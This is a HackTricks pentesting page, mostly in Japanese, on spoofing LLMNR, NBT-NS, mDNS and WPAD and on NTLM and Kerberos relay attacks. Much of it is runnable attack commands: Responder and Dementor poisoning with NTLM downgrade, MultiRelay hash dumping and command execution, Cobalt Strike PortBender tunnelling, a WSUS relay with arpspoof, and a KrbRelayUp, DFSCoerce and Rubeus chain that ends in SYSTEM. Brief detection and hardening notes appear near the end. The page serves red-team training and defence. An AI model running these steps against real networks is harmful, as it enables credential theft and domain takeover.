Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

ネットワークプロトコル

ローカルホスト解決プロトコル

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft やその他のオペレーティングシステムは、DNS が失敗した場合にローカル名解決のために LLMNR と NBT-NS を使用します。同様に、Apple や Linux システムは mDNS を使用します。
  • これらのプロトコルは、UDP 上で認証されていないブロードキャストという性質のため、傍受や spoofing に対して脆弱です。
  • Responder と Dementor は、これらのプロトコルに問い合わせるホストに対して偽の応答を送り、サービスをなりすますために使用できます。
  • Responder を使ったサービスなりすましの詳細は here を参照してください。

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD はブラウザがプロキシ設定を自動で検出することを可能にします。
  • 検出は DHCP、DNS を介して行われ、DNS が失敗した場合は LLMNR や NBT-NS へフォールバックします。
  • Responder は WPAD 攻撃を自動化でき、クライアントを悪意ある WPAD サーバーへ誘導します。

Responder/Dementor for Protocol Poisoning

  • Responder は LLMNR、NBT-NS、mDNS クエリの poison を行い、クエリ種別に基づいて応答を返すツールで、主に SMB サービスを標的にします。

  • Kali Linux に標準でインストールされており、/etc/responder/Responder.conf で設定可能です。

  • Responder は画面に捕獲した hashes を表示し、/usr/share/responder/logs ディレクトリに保存します。

  • IPv4 と IPv6 の両方をサポートします。

  • Windows 版 Responder はこちら: here.

  • Dementor は multicast poison のトピックを拡張し、さらに不正なサービス提供者として動作します（CUPS RCE サポートを含む）。

  • 全体構成は Responder に類似していますが、より詳細な設定が可能です。（デフォルトはこちら: Dementor.toml）

  • Dementor と Responder の互換性はここにあります: Compatibility Matrix

  • 入門とドキュメントはこちら: Dementor - Docs

  • Responder によって導入された一部プロトコルでのキャプチャ問題を修正します

Running Responder

  • デフォルト設定で Responder を実行するには: responder -I <Interface>
  • より積極的なプローブ（副作用の可能性あり）を行うには: responder -I <Interface> -P -r -v
  • NTLMv1 challenge/response を取得してクラッキングを容易にするテクニック: responder -I <Interface> --lm --disable-ess
  • WPAD なりすましを有効にするには: responder -I <Interface> --wpad
  • NetBIOS リクエストを攻撃者の IP に解決し、認証プロキシを立てることが可能: responder.py -I <interface> -Pv

Running Dementor

  • デフォルト設定で実行: Dementor -I <interface>
  • デフォルト設定で解析モード: Dementor -I <interface> -A
  • 自動 NTLM セッションのダウングレード (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • カスタム設定で現在のセッションを実行: Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • DHCP レスポンスを偽装することで、被害者のルーティング情報を恒久的に汚染し、ARP poisoning よりもステルスな代替手段を提供できます。
  • これには対象ネットワークの構成を正確に把握していることが必要です。
  • 攻撃の実行: ./Responder.py -I eth0 -Pdv
  • この方法は NTLMv1/2 ハッシュを効果的に捕獲できますが、ネットワークの混乱を避けるため慎重な取り扱いが必要です。

Capturing Credentials with Responder/Dementor

  • Responder/Dementor は上記のプロトコルを利用してサービスをなりすまし、ユーザーが偽装サービスへ認証を試みた際に資格情報（通常は NTLMv2 Challenge/Response）を捕獲します。
  • NetNTLMv1 へのダウングレードや ESS 無効化を試みて、資格情報のクラッキングを容易にすることができます。

If you already have a writable SMB share that victims browse, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the Explorer-triggered UNC lure workflow.

これらの手法を使用する場合は、適切な承認を得て合法かつ倫理的に行い、妨害や不正アクセスを避けることが重要です。

Inveigh

Inveigh は Windows 環境向けのペネトレーションテスター／レッドチーマー向けツールで、Responder に類似した機能を提供し、spoofing や man-in-the-middle 攻撃を実行します。ツールは PowerShell スクリプトから C# バイナリへと進化しており、主要なバージョンは Inveigh と InveighZero です。詳細なパラメータや手順は wiki を参照してください。

Inveigh は PowerShell を通じて操作できます:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

または C# binary として実行される:

Inveigh.exe

NTLM Relay Attack

この攻撃はSMB認証セッションを利用してターゲットマシンにアクセスし、成功すればシステムシェルを取得します。主な前提条件は次のとおりです：

  • 認証するユーザーは、リレイ先ホストに対してLocal Admin権限を持っている必要があります。
  • SMB signingが無効化されている必要があります。

445 Port Forwarding and Tunneling

直接ネットワーク導入が不可能な状況では、ポート445のトラフィックを転送およびトンネリングする必要があります。PortBender のようなツールはポート445のトラフィックを別ポートへリダイレクトするのに役立ち、ドライバのロードのためにLocal Adminアクセスが利用可能な場合に不可欠です。

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack のその他のツール

  • Metasploit: プロキシ、ローカルおよびリモートホストの詳細を設定して使用します。
  • smbrelayx: SMB セッションを中継し、コマンドを実行したりバックドアを展開したりするための Python スクリプトです。
  • MultiRelay: Responder スイートのツールで、特定のユーザーまたはすべてのユーザーを中継し、コマンドを実行したり、dump hashes を行ったりできます。

各ツールは必要に応じて SOCKS プロキシ経由で動作するよう設定でき、間接的なネットワークアクセス下でも攻撃を実行できます。

MultiRelay の動作

MultiRelay は /usr/share/responder/tools ディレクトリから実行され、特定の IP またはユーザーをターゲットにします。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

RelayKing – リレー可能なターゲットの検出とキュレーションされたリレーリスト

RelayKing は NTLM relay の 露出監査ツール で、リレーが成立する場所をマップし、ntlmrelayx.py -tf 用のそのまま使えるターゲットリストを生成します。プロトコルのハードニング（SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth）をチェックし、強制/反射ヘルパー（PetitPotam/PrinterBug/DFSCoerce、WebClient/WebDAV、NTLMv1、CVE-2025-33073 reflection）をフラグします。

  • 認証は HTTPS/LDAPS の CBT と MSSQL の EPA チェックの信頼性を向上させます。SMB signing/signature level は認証されていない状態でプローブされます。
  • クロスプロトコルのリレーパスは確認済み Net-NTLMv1 (--ntlmv1/--ntlmv1-all) の発見を活用します。各パスごとに深刻度ランクが提供されます。
  • --gen-relay-list <file> はトライアンドエラーを避けるため、ntlmrelayx.py -tf <file> 用の grep に適したターゲットリストを書き出します。
  • --coerce-all は全ターゲットに対して PetitPotam/DFSCoerce/PrinterBug を一斉トリガーします。--ntlmv1-all (RemoteRegistry) と --audit (ドメイン全体の LDAP ホスト取得) は ノイズが多い ため、多数のログオン／リモートアクセスを生成します。
  • --proto-portscan は閉じたポートをスキップしてスキャンを高速化します。--krb-dc-only は DC が NTLM をブロックしているが他のサービスがまだ受け付けている場合に有用です。

Example sweeps:

# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt

# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

WSUS HTTP (8530) を悪用して LDAP/SMB/AD CS (ESC8) への NTLM Relay

WSUSクライアントは、HTTP (8530) または HTTPS (8531) 上で NTLM を使って更新サーバーに認証します。HTTP が有効な場合、クライアントの定期的なチェックインをローカルセグメントで強制・傍受して ntlmrelayx で LDAP/LDAPS/SMB や AD CS の HTTP エンドポイント（ESC8）へリレイすることができ、ハッシュをクラッキングする必要はありません。これは通常の更新トラフィックに溶け込み、しばしばマシンアカウント認証（HOST$）をもたらします。

What to look for

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and …\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP endpoints used by clients over HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • 未認証
  • リスナーをスキャン: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • L2 MITM を介して HTTP の WSUS トラフィックを傍受し、wsusniff.py でアクティブなクライアント/エンドポイントを記録します（クライアントにあなたの TLS 証明書を信頼させられない限り HTTP のみ）。
  • 認証済み
  • SYSVOL の GPO を MANSPIDER + regpol で解析して WSUS キーを抽出する（wsuspider.sh ラッパーは WUServer/WUStatusServer/UseWUServer を要約）。
  • 大規模にホストからエンドポイントを問い合わせるかローカルでクエリ: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. 同一 L2 上で MITM の位置取りをしてクライアントが WSUS サーバーをあなたに解決するようにします（ARP/DNS poisoning、Bettercap、mitm6 など）。arpspoof の例: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. ポート 8530 をリレー・リスナーにリダイレクト（任意、便利）: iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. HTTP リスナー付きで ntlmrelayx を起動（HTTP リスナーのために Impacket のサポートが必要；下の PR を参照）: ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

Other common targets:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. クライアントのチェックインをトリガーするかスケジュールを待つ。クライアントから: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

  2. 認証された SOCKS セッション（-socks がある場合）や直接のリレー結果をポストエクスプロイトに使用（LDAP 変更、SMB 操作、あるいは後の認証のための AD CS 証明書発行）。

HTTPS constraint (8531)

  • クライアントがあなたの証明書を信頼しない限り、HTTPS 上の WSUS の受動的傍受は無効です。信頼された証明書やその他の TLS ブレークがなければ、WSUS の HTTPS トラフィックから NTLM ハンドシェイクを取得/リレイすることはできません。

Notes

  • WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
  • Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
  • Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).

NTLM ログインの強制

Windows では、いくつかの特権アカウントを任意のマシンへ認証させることができる場合があります。方法は以下のページを参照してください：

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/ → LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.

NTLM relay と異なり、この攻撃はホップが同一ホストに制限されますが、LDAP に書き込み可能なプロトコルを狙えば Resource-Based Constrained Delegation (RBCD) や AD CS enrollment に連鎖して、一撃で NT AUTHORITY\SYSTEM を奪取できます。

For detailed info about this attack check:

TokenPurposeRelay relevance
TGT / AS-REQ ↔ REPKDC に対するユーザーの証明影響を受けない
Service ticket / TGS-REQ ↔ REP一つの SPN に結び付けられる；SPN 所有者のキーで暗号化されるSPN が同一のアカウントを共有していれば置き換え可能
AP-REQクライアントが TGS をサービスに送る盗んで再生するもの
  • チケットは SPN を所有するアカウントのパスワード導出キーで暗号化されます。
  • AP-REQ 内の Authenticator には 5 分のタイムスタンプがあり、そのウィンドウ内でのリプレイはサービスのキャッシュが重複を検出するまで有効です。
  • Windows はチケット内の SPN 文字列が実際にアクセスしたサービスと一致するかをほとんどチェックしないため、CIFS/HOST 用のチケットは通常 LDAP/HOST で問題なく復号されます。
    1. What must be true to relay Kerberos
  1. Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
  2. No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
  4. Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
  5. You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.

Kerberos Relay Steps

  • 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 リレイリスナーを開始する

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp は KrbRelay → LDAP → RBCD → Rubeus → SCM bypass を1つのバイナリにラップします。

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce は DC に Kerberos CIFS/DC01 チケットを送らせます。

  • 3.4 Relay the AP-REQ

KrbRelay は SMB から GSS blob を抽出し、それを LDAP bind に再梱包して ldap://DC01 に転送します—認証は 同じ鍵 が復号できるため成功します。

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

あなたは現在 NT AUTHORITY\SYSTEM を所有しています。

More paths worth knowing

VectorTrickWhy it matters
AuthIP / IPSecFake server sends a GSS-ID payload with any SPN; client builds an AP-REQ straight to youWorks even across subnets; machine creds by default
DCOM / MSRPCMalicious OXID resolver forces client to auth to arbitrary SPN and portPure local priv-esc; sidesteps firewall
AD CS Web EnrollRelay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTsBypasses LDAP signing defenses
Shadow CredentialsWrite msDS-KeyCredentialLink, then PKINIT with forged key pairNo need to add a computer account

Troubleshooting

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDチケットキー ≠ ターゲットキーホスト/SPN が間違っている
KRB_AP_ERR_SKEWクロックが5分以上ずれている時刻を同期するか w32tm を使用
LDAP bind fails署名が強制されているAD CS 経路を使うか署名を無効化
Event 4649 spamサービスが重複した Authenticator を検出元のパケットをブロックするか競合させる（race）

Detection

  • 同一ソースから数秒以内に CIFS/、HTTP/、LDAP/ に対する Event 4769 が急増する。
  • サービス上の Event 4649 はリプレイ検出を示す。
  • 127.0.0.1 からの Kerberos ログオン（ローカル SCM へのリレー）は非常に疑わしい — KrbRelayUp ドキュメントの Sigma ルールでマッピングする。
  • msDS-AllowedToActOnBehalfOfOtherIdentity や msDS-KeyCredentialLink 属性の変更を監視する。

Hardening

  1. Enforce LDAP & SMB signing + EPA をすべてのサーバで有効にする。
  2. Split SPNs して HTTP を CIFS/LDAP と同じアカウントにしない。
  3. 強制(coercion)ベクターを修正する（PetitPotam KB5005413、DFS、AuthIP）。
  4. ms-DS-MachineAccountQuota = 0 を設定して不正なコンピュータ参加を防ぐ。
  5. Event 4649 と予期しないループバック Kerberos ログオンでアラートを出す。

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする